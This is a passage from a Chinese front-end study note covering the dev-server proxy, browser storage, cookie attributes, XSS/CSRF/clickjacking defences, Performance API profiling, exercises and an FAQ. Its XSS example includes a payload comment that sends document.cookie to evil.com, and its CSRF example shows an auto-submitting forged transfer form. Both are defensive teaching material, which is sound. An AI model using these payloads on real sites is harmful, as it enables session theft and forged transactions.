> 除非必须兼容极老的浏览器（且无其他方案），否则一律使用 CORS。若确实需要，务必只对**完全可信的自家域名**使用，并配合 CSP 限制脚本源。

### 7.6 开发环境代理方案

开发时前端跑在 `localhost:5173`（Vite 8.x 默认）或 `localhost:3000`，后端在 `localhost:8080`，浏览器视角就是跨域。**代理的原理是让请求先发给同源的开发服务器，由开发服务器（Node 环境，没有同源策略）转发给后端。**

```js
// vite.config.js —— Vite 8.x 的 server.proxy
import { defineConfig } from 'vite';

export default defineConfig({
  server: {
    proxy: {
      // 前端仍然请求 /api/xxx，同源，不触发跨域
      '/api': {
        target: 'http://localhost:8080',
        changeOrigin: true,       // 改写 Host 头为目标域名，很多后端据此做校验
        // rewrite: (path) => path.replace(/^\/api/, ''), // 后端没有 /api 前缀时使用
      },
    },
  },
});
```

```js
// webpack devServer.proxy 的等价写法（旧项目常见）
module.exports = {
  devServer: {
    proxy: [
      {
        context: ['/api'],
        target: 'http://localhost:8080',
        changeOrigin: true,
      },
    ],
  },
};
```

三种方案对比：

| 方案 | 适用场景 | 生产可用 | 备注 |
|---|---|---|---|
| 开发服务器代理 | 本地开发 | ❌ | 零后端改动，首选 |
| CORS 响应头 | 前后端分离部署 | ✅ | 需要后端配合，注意 `Vary: Origin` |
| Nginx 反向代理同域 | 生产环境统一入口 | ✅ | 见 [[后端-08-部署与运维基础]]，最省事 |

> [!warning] 代理只在开发时有效
> 构建产物部署后 `vite.config.js` 的 `server.proxy` 完全不起作用（它只属于 dev server）。上线时必须由 Nginx 或后端自己解决跨域，否则会出现「本地好好的，上线就跨域」。
> 以官方最新文档为准：[Vite 官方文档](https://vite.dev/guide/)、[Vite server.proxy 配置](https://vite.dev/config/server-options)。

---

## 八、浏览器存储对比

### 8.1 四件套对比表

| 维度 | Cookie | localStorage | sessionStorage | IndexedDB |
|---|---|---|---|---|
| 容量 | 约 $4\ \text{KB}$ / 域名 | 约 $5 \sim 10\ \text{MB}$ / 源 | 约 $5 \sim 10\ \text{MB}$ / 源 | 通常可达磁盘配额的一部分，常见数百 MB 级 |
| 生命周期 | 可设 `Expires`/`Max-Age`；未设则随会话 | 永久，除非主动删除 | 关闭标签页即清除（同源同标签页内刷新保留） | 永久，除非主动删除或被清除 |
| 是否随请求自动发送 | ✅ 同源请求自动带上 | ❌ | ❌ | ❌ |
| 作用域 | 按域名与路径，可设 `Domain`/`Path` | 按源，同源所有标签页共享 | 按源 **+ 标签页**，不跨标签页共享 | 按源 |
| 数据格式 | 字符串（键值对拼接） | 字符串（对象需 `JSON.stringify`） | 字符串 | 结构化克隆，可直接存对象、Blob、File |
| 同步/异步 | 同步（网络层自动处理） | **同步**，阻塞主线程 | **同步**，阻塞主线程 | **异步**，基于事件与事务 |
| 索引与查询 | ❌ | ❌ | ❌ | ✅ 支持索引、游标、范围查询 |
| 适用场景 | 会话标识、鉴权 Token（配合安全属性） | 主题、语言、非敏感偏好 | 表单草稿、单次流程临时状态 | 离线数据、大量结构化数据、缓存接口响应 |

> [!important] 存储选型的决策顺序
> 1. 需要**自动随请求发送**给后端 → Cookie（且必须配安全属性）。
> 2. 数据量小、只需字符串、能接受同步读写 → localStorage / sessionStorage。
> 3. 数据量大、需要结构化与索引、需要异步不阻塞 → IndexedDB。
> 4. **敏感信息（密码、身份证、银行卡）→ 一律不要放前端存储**，放服务端。

### 8.2 容量与配额

`localStorage` / `sessionStorage` 的容量**规范没有规定具体数值，由浏览器实现决定**，实践中普遍在 $5\ \text{MB}$ 上下。超出会抛出 `QuotaExceededError`：

```js
function safeSetItem(key, value) {
  try {
    localStorage.setItem(key, value);
    // 注意：localStorage 是同步 API，写入大字符串会阻塞主线程，不要在循环里逐条写
    return true;
  } catch (err) {
    // 现代浏览器的错误名统一为 QuotaExceededError（旧 IE 为 QUOTA_EXCEEDED_ERR）
    if (err instanceof DOMException &&
        (err.name === 'QuotaExceededError' || err.name === 'NS_ERROR_DOM_QUOTA_REACHED')) {
      console.warn('存储空间不足，请清理旧数据');
      // 策略：清理最旧的缓存条目后重试，而不是直接崩溃
      return false;
    }
    throw err; // 例如隐私模式下被完全禁用
  }
}
```

IndexedDB 使用的是**存储配额（storage quota）**模型：同一源可用的配额通常是「该源已用磁盘空间」的一个比例，且有整体上限。配额不足时，浏览器会按 **LRU（最近最少使用）** 策略清除整个源的存储——注意是**整个源一起清**，不会只删一半。

> [!warning] 清除时机不可控
> 浏览器在磁盘紧张、或用户清理浏览数据时会清除站点存储。因此**任何前端存储都不能当作唯一数据源**：
> - 已提交到服务端的数据才算可靠；
> - 关键草稿应同时上报服务端；
> - 用 `navigator.storage.persist()` 可申请「持久化存储」，但浏览器可能拒绝，不能依赖。
> 详见 [MDN 存储配额与清除标准](https://developer.mozilla.org/zh-CN/docs/Web/API/Storage_API/Storage_quotas_and_eviction_criteria)。

### 8.3 Cookie 的安全属性

| 属性 | 作用 | 不设置的后果 |
|---|---|---|
| `HttpOnly` | 禁止 JS 通过 `document.cookie` 读取 | XSS 一旦得手就能直接偷走会话 Cookie |
| `Secure` | 仅在 HTTPS 下发送 | 明文 HTTP 下 Cookie 可被中间人窃取 |
| `SameSite=Strict` | 任何跨站请求都不发送 | —— |
| `SameSite=Lax` | 顶层导航的 `GET` 发送，其他跨站请求不发送（现代浏览器默认值） | —— |
| `SameSite=None` | 跨站也发送，**必须同时 `Secure`** | 若配合业务不严，易被 CSRF |
| `Path` / `Domain` | 限定作用范围 | 范围过大增加泄露面 |
| `__Host-` 前缀 | 强制要求 `Secure`、无 `Domain`、`Path=/` | 更强的防篡改保障 |

```http
# 会话 Cookie 的推荐配置
Set-Cookie: sessionid=xxxxx; Path=/; HttpOnly; Secure; SameSite=Lax; Max-Age=86400
```

> [!tip] `SameSite=Lax` 的边界
> `Lax` 允许「用户在地址栏输入、点击链接、从外部站点跳转过来」这类**顶层导航**携带 Cookie。这意味着从第三方站点 `<a href>` 跳到你的支付页时，Cookie **会**被带上。
> 因此仅靠 `Lax` 并不足以完全防住所有 CSRF 变体，敏感操作仍需 CSRF Token 二次校验。

---

## 九、Web 安全基础

### 9.1 XSS（跨站脚本攻击）

| 类型 | 英文 | 触发方式 | 数据流向 | 典型场景 |
|---|---|---|---|---|
| 存储型 | Stored XSS | 恶意脚本被存进数据库，所有访问者都会中招 | 前端 → 服务端 → 数据库 → 其他用户 | 评论区、昵称、文章正文 |
| 反射型 | Reflected XSS | 恶意脚本在 URL/表单参数里，服务端原样吐回 HTML | 前端 → 服务端 → 立即回显给同一用户 | 搜索关键词回显、错误页回显 |
| DOM 型 | DOM-based XSS | 全程在浏览器里，恶意数据从 `location` 等源直接流入危险汇聚点 | 前端（不经过服务端） | `innerHTML = location.hash` |

```js
// ❌ 危险：把不可信数据当 HTML 解析
const div = document.getElementById('output');
div.innerHTML = new URLSearchParams(location.search).get('msg');
// 攻击者构造 ?msg=<img src=x onerror=fetch('//evil.com?c='+document.cookie)>

// ✅ 安全：用 textContent，浏览器只当纯文本处理
div.textContent = new URLSearchParams(location.search).get('msg');

// ✅ 若确实需要有限富文本：先白名单过滤（生产环境请用 DOMPurify 等成熟库）
import DOMPurify from 'dompurify';
div.innerHTML = DOMPurify.sanitize(untrustedHtml);
```

**纵深防御的六层**：

1. **输出编码（最重要）**：HTML 上下文用 HTML 实体编码，属性上下文用属性编码，`<script>` 内用 JS 编码，URL 用百分号编码。**不同上下文的编码规则不同**，通用过滤器往往不可靠。
2. **输入校验与白名单**：能枚举就枚举，不要用黑名单。
3. **CSP（Content Security Policy）**：限制脚本来源，禁止内联脚本，是 XSS 的最后一道防线。
4. **`HttpOnly` Cookie**：即使被 XSS，也偷不走会话 Cookie。
5. **Trusted Types**：现代浏览器 API，强制危险汇聚点只能接收经过策略处理的值。
6. **避免 `eval`、`new Function`、`document.write`**：这些都是危险汇聚点。

```nginx
# 一个相对严格但仍需按业务调整的 CSP 示例
Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-随机值' https://cdn.example.com;
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https://img.example.com;
  object-src 'none';
  base-uri 'self';
  frame-ancestors 'none';
```

### 9.2 CSRF（跨站请求伪造）

原理：用户已登录站点 A（Cookie 有效），在未退出的情况下访问了恶意站点 B，B 诱导浏览器向 A 发起一个**携带 Cookie** 的请求——A 看到 Cookie 有效就以为是用户本人操作。

```
① 用户登录 bank.com，Cookie 存下
② 用户访问 evil.com（未退出 bank.com）
③ evil.com 里：<form action="https://bank.com/transfer" method="POST">
                  <input name="to" value="attacker">
                  <input name="amount" value="10000">
                </form>
                <script>document.forms[0].submit()</script>
④ 浏览器向 bank.com 发请求，自动带上 bank.com 的 Cookie
⑤ bank.com 校验 Cookie 通过 → 转账成功 ❌
```

**防御手段**：

| 手段 | 原理 | 强度 | 备注 |
|---|---|---|---|
| `SameSite=Lax/Strict` | 跨站请求不发送 Cookie | 中 | 现代浏览器默认 `Lax`，是基础防线 |
| CSRF Token | 表单/请求头携带服务端生成的随机 Token，攻击者无法预知 | 高 | 经典方案，见 [[后端-06-认证与授权]] |
| 双重提交 Cookie | Token 同时放 Cookie 与请求头，服务端比对 | 中 | 无需服务端存储，但需防子域写入 |
| 校验 `Origin` / `Referer` | 只接受可信来源 | 中 | `Origin` 更可靠，但受隐私设置影响 |
| 关键操作二次验证 | 密码、短信、图形验证码 | 高 | 用于转账、改密码等高危操作 |

```js
// 双重提交 Cookie 的前端写法：从可读 Cookie 取出 Token 放进请求头
function getCookie(name) {
  return document.cookie
    .split('; ')
    .find((row) => row.startsWith(`${name}=`))
    ?.split('=')[1];
}

fetch('/api/transfer', {
  method: 'POST',
  credentials: 'include',
  headers: {
    'Content-Type': 'application/json',
    // 注意：这个 Token Cookie 必须【不带 HttpOnly】，否则 JS 读不到
    'X-CSRF-Token': decodeURIComponent(getCookie('csrf_token') ?? ''),
  },
  body: JSON.stringify({ to: 'alice', amount: 100 }),
});
```

> [!important] XSS 与 CSRF 的关系
> **XSS 比 CSRF 更严重**：拿到 XSS 后，攻击者可以读取页面里的一切（包括 CSRF Token），CSRF 防御全部失效。
> 所以修复顺序是：先堵 XSS，再谈 CSRF。更多后端视角见 [[后端-09-后端安全与性能]]。

### 9.3 点击劫持（Clickjacking）

原理：用透明 iframe 覆盖在诱导性按钮上，用户以为点击的是「领取奖励」，实际点击的是 iframe 里银行的「确认转账」。

防御靠**响应头**，因为页面自身无法可靠地感知自己被嵌入：

```http
# 方案一：X-Frame-Options（传统）
X-Frame-Options: DENY              # 任何页面都不许嵌套
X-Frame-Options: SAMEORIGIN        # 只允许同源页面嵌套

# 方案二：CSP frame-ancestors（现代，更细粒度，优先级高于 X-Frame-Options）
Content-Security-Policy: frame-ancestors 'none';                        # 等价 DENY
Content-Security-Policy: frame-ancestors 'self' https://partner.com;    # 白名单
```

| 对比 | `X-Frame-Options` | `frame-ancestors` |
|---|---|---|
| 规范来源 | 非标准，但被广泛实现 | CSP Level 2 标准 |
| 是否支持多来源 | ❌ 只能单个值 | ✅ 支持列表 |
| 优先级 | 低 | 高（同时存在时以此为准） |
| 建议 | 为兼容旧浏览器保留 | **主要使用这个** |

其他相关头：

```http
# 阻止浏览器自行嗅探 MIME 类型（防御把 .txt 当脚本执行）
X-Content-Type-Options: nosniff

# 控制 Referer 泄露程度
Referrer-Policy: strict-origin-when-cross-origin

# 强制 HTTPS
Strict-Transport-Security: max-age=63072000; includeSubDomains; preload
```

---

## 十、怎么用：Performance API 与 DevTools 性能排查

### 10.1 Performance API 采集真实用户数据

```js
// 用 PerformanceObserver 采集 Core Web Vitals 的关键指标
// 注意：真实项目中更推荐使用官方 web-vitals 库，这里展示底层原理

// ① 采集 LCP（Largest Contentful Paint，最大内容绘制）
let lcpValue = 0;
new PerformanceObserver((entryList) => {
  const entries = entryList.getEntries();
  const last = entries[entries.length - 1]; // LCP 可能多次上报，取最后一次
  lcpValue = last.startTime;
  console.log('LCP:', lcpValue.toFixed(1), 'ms', '元素:', last.element);
}).observe({ type: 'largest-contentful-paint', buffered: true });

// ② 采集 CLS（Cumulative Layout Shift，累积布局偏移）
let clsValue = 0;
new PerformanceObserver((entryList) => {
  for (const entry of entryList.getEntries()) {
    // 只有「非用户输入导致」的偏移才计入 CLS
    if (!entry.hadRecentInput) clsValue += entry.value;
  }
  console.log('CLS:', clsValue.toFixed(4));
}).observe({ type: 'layout-shift', buffered: true });

// ③ 采集 INP 的原料：长任务（Interaction to Next Paint 由交互延迟推导）
new PerformanceObserver((list) => {
  for (const entry of list.getEntries()) {
    console.warn(`长任务 ${entry.duration.toFixed(0)}ms，归因:`, entry.attribution);
  }
}).observe({ type: 'longtask', buffered: true });

// ④ 手动打点：测量任意代码段耗时
performance.mark('render-start');
doSomethingExpensive();
performance.mark('render-end');
performance.measure('渲染耗时', 'render-start', 'render-end');

const [measure] = performance.getEntriesByName('渲染耗时');
console.log(`耗时 ${measure.duration.toFixed(2)} ms`);

// ⑤ 导航时序：看每一段网络与解析花了多久
const [nav] = performance.getEntriesByType('navigation');
console.table({
  'DNS 查询': nav.domainLookupEnd - nav.domainLookupStart,
  'TCP 连接': nav.connectEnd - nav.connectStart,
  'TLS 握手': nav.secureConnectionStart > 0 ? nav.connectEnd - nav.secureConnectionStart : 0,
  '请求响应': nav.responseStart - nav.requestStart,
  '首字节 TTFB': nav.responseStart - nav.startTime,
  'HTML 下载': nav.responseEnd - nav.responseStart,
  'DOM 就绪': nav.domContentLoadedEventEnd - nav.startTime,
  '资源全部加载': nav.loadEventEnd - nav.startTime,
});
```

> [!note] 服务端归一化
> `performance.now()` 返回的是相对于 `timeOrigin` 的高精度时间戳，不是绝对时间。要上报给服务端做聚合，直接用这个相对值即可。
> 如需与服务端日志对齐，可上报 `performance.timeOrigin`（Unix 毫秒）。现代浏览器会为跨源隔离场景降低时间精度（防御 Spectre），所以不要依赖亚毫秒级的时间差。

### 10.2 DevTools Performance 面板：录制与读火焰图

**操作步骤**（Chrome / Edge DevTools，中文界面菜单项对应）：

1. `F12` 打开 DevTools → 切到 **Performance（性能）** 面板。
2. 点击左上角 **⚙️ 设置图标**，勾选 *Screenshots*（截图）与 *Web Vitals*，便于把卡顿和画面变化对应起来。
3. 点击 **Record（录制，圆形按钮）** 或按 `Ctrl+E`，然后**在页面上复现卡顿操作**（如快速滚动、打开弹窗）。
4. 停止录制（再次点击或 `Ctrl+E`），得到一份性能报告。
5. 在 **Network（网络）** 轨道上找到请求瀑布图，看是否有阻塞资源；在 **Frames（帧）** 轨道上找红色三角标记（掉帧）；在 **Main（主线程）** 轨道上找最宽的黄色/紫色块。
6. 点击某个宽任务，在下方 **Bottom-Up（自下而上）** / **Call Tree（调用树）** 标签页里定位到具体函数。

**火焰图（Flame Chart）阅读法**：

```
Main 轨道（横轴 = 时间，纵轴 = 调用栈深度）
├─ 宽而扁的块  → 耗时长的单个任务，是优化目标
├─ 高而窄的堆栈 → 深层递归或框架内部嵌套
└─ 颜色含义（Chrome 约定）：
   🔵 蓝 (Loading)        → 解析 HTML、网络回调
   🟣 紫 (Scripting)      → 执行 JavaScript（Evaluate Script、Function Call）
   🟪 深紫 (Rendering)    → 样式计算 Recalculate Style、布局 Layout
   🟢 绿 (Painting)       → 绘制 Paint、合成 Composite Layers
   ⚪ 灰 (System)         → GC、编译、其他系统任务
```

关键判读技巧：

| 现象 | 结论 | 对策 |
|---|---|---|
| 紫色块又宽又连续 | JS 执行占用主线程 | 拆分长任务、减少计算、移到 Worker |
| 紫色块里有密集的 `Layout` | 布局抖动 | 读写分离，见 §4.2 |
| 绿色 `Paint` 反复出现 | 频繁重绘 | 改用 `transform`/`opacity`，加 `will-change` |
| 出现 `Forced reflow` 警告 | 强制同步布局 | 消除循环内读写交错 |
| Frames 轨道出现红色三角 | 掉帧 | 定位到该帧内最宽任务 |
| 大量灰色 `GC` | 内存压力大 | 减少临时对象与闭包持有 |

另一种更快的定位方式：**Performance → 右侧面板的 Bottom-Up 视图按 Self Time 排序**，能直接看到「谁自己占用了最多 CPU」，避免被框架的深层调用栈迷惑。

> [!tip] 一次性给出可执行的排查顺序
> **Step 1 复现**：用无痕窗口排除插件干扰，网络限速设成 Fast 3G，CPU 限速设成 4x slowdown（更接近中低端机）。
> **Step 2 分段**：先只看 First Paint 之前的网络瀑布图；再看主线程前 $1\ \text{s}$ 的脚本。
> **Step 3 定位**：Bottom-Up 按 Self Time 排序，找前 3 个函数。
> **Step 4 验证**：改完再录一次，对比 FPS 与 LCP 数值，而不是凭感觉说「好像快了」。

---

## 十一、常见坑汇总

> [!warning] 十个高频错误
> 1. **给 HTML 设长 `max-age`**：用户长期拿不到新版本，白屏或功能异常。
> 2. **给带哈希的静态资源设 `no-store`**：白白放弃缓存，首屏每次全量下载。
> 3. **混淆 `no-cache` 与 `no-store`**：把敏感响应设成 `no-cache`（仍会写盘），或把静态资源设成 `no-store`。
> 4. **`Access-Control-Allow-Origin` 动态回显 Origin 却不加 `Vary: Origin`**：CDN 把 A 站的响应缓存后返回给 B 站，CORS 直接报错。
> 5. **`credentials: 'include'` 配合 `Allow-Origin: *`**：浏览器直接拒绝，且报错信息不直观。
> 6. **在循环里读 `offsetWidth` 再写样式**：强制同步布局，性能可能差十倍。
> 7. **给所有元素加 `will-change: transform`**：图层爆炸，显存吃紧，移动端直接闪退。
> 8. **用 `innerHTML` 拼接用户输入**：XSS 直通车。
> 9. **`SameSite=None` 忘记配 `Secure`**：浏览器直接丢弃这个 Cookie，表现为「登录状态随机丢失」。
> 10. **把 Token 存 localStorage 且不加任何防护**：任何一次 XSS 都能长期窃取凭据。localStorage 无法设置 `HttpOnly`，这是它的结构性缺陷。

---

## 十二、练习题

> [!question] 练习 1（缓存策略设计）
> 某电商站的资源包括：`index.html`、`main.[hash].js`、`main.[hash].css`、`logo.svg`、`/api/user/profile`（返回用户手机号）、`/api/products`（公开商品列表，可容忍 5 分钟延迟）。
> 请为这 6 类资源分别设计 `Cache-Control`（必要时补充 `ETag`、`Vary`），并说明理由。特别说明 `/api/user/profile` 该用 `no-cache` 还是 `no-store`，为什么。

> [!question] 练习 2（跨域排查）
> 前端 `http://localhost:5173` 调用 `https://api.example.com/login`，代码写了 `credentials: 'include'`，`Content-Type: application/json`。浏览器控制台报：
> `Response to preflight request doesn't pass access control check: The value of the 'Access-Control-Allow-Origin' header in the response must not be the wildcard '*'...`
> 请写出：(a) 浏览器实际发出的两次请求的完整关键头；(b) 服务端需要返回的 4 个响应头及其精确值；(c) 如果登录后接口仍然「拿不到登录态」，列出至少 3 个需检查的点。

> [!question] 练习 3（重排定位）
> 下面的代码在一个含 500 个 `.row` 元素的列表里执行，实测耗时超过 $900\ \text{ms}$。请指出性能问题的根因，改写成高效版本，并估算大致能降低到多少毫秒量级。
> ```js
> const rows = document.querySelectorAll('.row');
> for (let i = 0; i < rows.length; i++) {
>   rows[i].style.height = rows[i].offsetHeight + 4 + 'px';
>   rows[i].style.marginTop = (i % 2) * 2 + 'px';
> }
> ```

> [!question] 练习 4（渲染阻塞分析）
> 某页面 `<head>` 里这样写：
> ```html
> <head>
>   <link rel="stylesheet" href="/all.css">   <!-- 300 KB -->
>   <script src="/analytics.js"></script>
>   <script src="/app.js"></script>            <!-- 依赖 DOM -->
>   <link rel="preconnect" href="https://a.com">
>   <link rel="preconnect" href="https://b.com">
>   <link rel="preconnect" href="https://c.com">
>   <link rel="preconnect" href="https://d.com">
>   <link rel="preconnect" href="https://e.com">
>   <link rel="preconnect" href="https://f.com">
>   <link rel="preconnect" href="https://g.com">
> </head>
> ```
> 请指出至少 4 处问题，并给出改写后的 `<head>`，说明每处改动的收益。

> [!question] 练习 5（安全加固）
> 一个后台管理系统把 JWT 存在 `localStorage`，用 `Authorization: Bearer` 头传递；Cookie 用于「记住登录设备」，设置了 `SameSite=None`（为了支持嵌入第三方系统的 iframe 场景），但**没有 `Secure`、没有 `HttpOnly`**。
> 请列出至少 4 个安全问题，按严重程度排序，并给出具体的修复配置（含 HTTP 响应头）。

---

## 十三、FAQ

> [!question] Q1：为什么我在 Network 面板看到接口返回 200 且数据正确，但 JS 还是报跨域错误？
> 因为同源策略拦截的不是**请求**，而是**响应的交付**。请求已经到达服务器并成功返回（所以 Network 面板有记录、后端日志也有），但浏览器在把响应交给 JS 之前检查 CORS 响应头，缺少合法的 `Access-Control-Allow-Origin` 就丢弃响应并抛错。
> 这类「请求成功、读取失败」正是 CORS 相比 JSONP 的设计优点之一：错误可以被明确感知，而不是静默失败。
> 注意预检失败时，真实请求根本不会发出，这点与上面的情况不同。

> [!question] Q2：`localStorage` 和 Cookie 都能存字符串，我直接用 `localStorage` 存登录 Token 不是更省流量吗？
> 单看流量确实更省（Cookie 会随每个同源请求自动发送，$4\ \text{KB}$ 的额度在有很多静态请求时不容忽视）。
> 但安全上 `localStorage` 有明显劣势：**它无法设置 `HttpOnly`**，任何一次 XSS 都能通过 `localStorage.getItem()` 直接读走 Token，而且读到的往往是长期有效的凭据。
> 更稳妥的方案是：会话凭据放 `HttpOnly; Secure; SameSite=Lax` 的 Cookie（JS 读不到），敏感操作再叠加 CSRF Token；确实需要放在 header 里的场景，优先使用**短期 Access Token + 长期 Refresh Token**，并把 Refresh Token 放在 `HttpOnly` Cookie 里。详见 [[后端-06-认证与授权]]。

> [!question] Q3：`transform: translateX()` 和 `left` 到底差在哪？我的动画看起来差不多流畅啊。
> 在**主线程空闲、页面元素很少**的情况下，两者肉眼确实差不多，因为浏览器有足够的时间完成布局与绘制。
> 差异在高负载时暴露：`left` 会触发「样式计算 → 布局 → 绘制 → 合成」，全部在主线程完成；`transform` 在元素已提升为合成层时只触发「合成」，由合成线程与 GPU 完成，**不依赖主线程**。
> 验证方法：把 CPU 限速设为 6x slowdown，然后同时跑两个动画（一个动 `left`，一个动 `transform`），用 Performance 面板对比 Frames 轨道——动 `left` 的那个会明显掉帧。
> 用 LaTeX 表达这个差别：动 `left` 时每帧成本为 $C_{\text{style}} + C_{\text{layout}} + C_{\text{paint}} + C_{\text{composite}}$，而动 `transform` 时退化为 $C_{\text{composite}}$。

> [!question] Q4：`ETag` 和 `Last-Modified` 该用哪个？能不能都用？
> 可以都用，浏览器会优先用 `ETag`（`If-None-Match`），`Last-Modified` 作为兜底。
> 但要注意两个坑：一是 `Last-Modified` 精度只有**秒**，同一秒内多次改动会被误判为「未修改」；二是如果 `ETag` 由**多台部署机器各自生成**（例如基于 inode 或随机值），同一个文件在不同机器上会得到不同 ETag，导致 CDN 回源判定混乱、缓存命中率暴跌。
> 实践建议：静态资源用「内容哈希文件名 + 长强缓存」，根本不需要 ETag；HTML 入口用 `no-cache` + ETag（由 Nginx 基于文件内容或 mtime 生成并保证集群一致）。

---

## 相关笔记

- [[前端-09-前端工程化与调试]]——性能指标、构建产物体积分析与线上错误监控的工程化落地
- [[计算机网络]]——DNS、TCP、TLS 与 HTTP 协议的底层细节
- [[JavaScript-05-DOM与事件]]——DOM 操作与事件模型，本文的性能优化建立在其之上
- [[前端-08-构建工具-Vite与Webpack]]——内容哈希文件名的生成、代理配置与分包策略
- [[后端-09-后端安全与性能]]——服务端视角的 XSS、注入与缓存策略
- [[前端-02-CSS基础]]——盒模型与层叠上下文，理解布局成本的前置知识

## 参考来源

以下链接在撰写时均已核实可访问（中国大陆网络环境下测试）。Web 平台规范与实现持续演进，**具体属性与默认值以官方最新文档为准**。

- [MDN：渲染页面——浏览器的工作原理](https://developer.mozilla.org/zh-CN/docs/Web/Performance/Guides/How_browsers_work)
- [MDN：HTTP 缓存](https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Guides/Caching)
- [MDN：Cache-Control 响应头](https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Reference/Headers/Cache-Control)
- [MDN：跨源资源共享（CORS）](https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Guides/CORS)
- [MDN：HTTP Cookie](https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Guides/Cookies)
- [MDN：Set-Cookie 响应头](https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Reference/Headers/Set-Cookie)
- [MDN：Window.localStorage](https://developer.mozilla.org/zh-CN/docs/Web/API/Window/localStorage)
- [MDN：Performance API](https://developer.mozilla.org/zh-CN/docs/Web/API/Performance_API)
- [MDN：X-Frame-Options 响应头](https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Reference/Headers/X-Frame-Options)
- [MDN：Content-Security-Policy 响应头](https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Reference/Headers/Content-Security-Policy)
- [MDN：存储配额与清除标准](https://developer.mozilla.org/zh-CN/docs/Web/API/Storage_API/Storage_quotas_and_eviction_criteria)
- [HTML Standard §4.12 Scripting（`async` / `defer` / 模块脚本处理模型）](https://html.spec.whatwg.org/multipage/scripting.html)
- [Vite 官方文档（server.proxy 配置）](https://vite.dev/config/server-options)
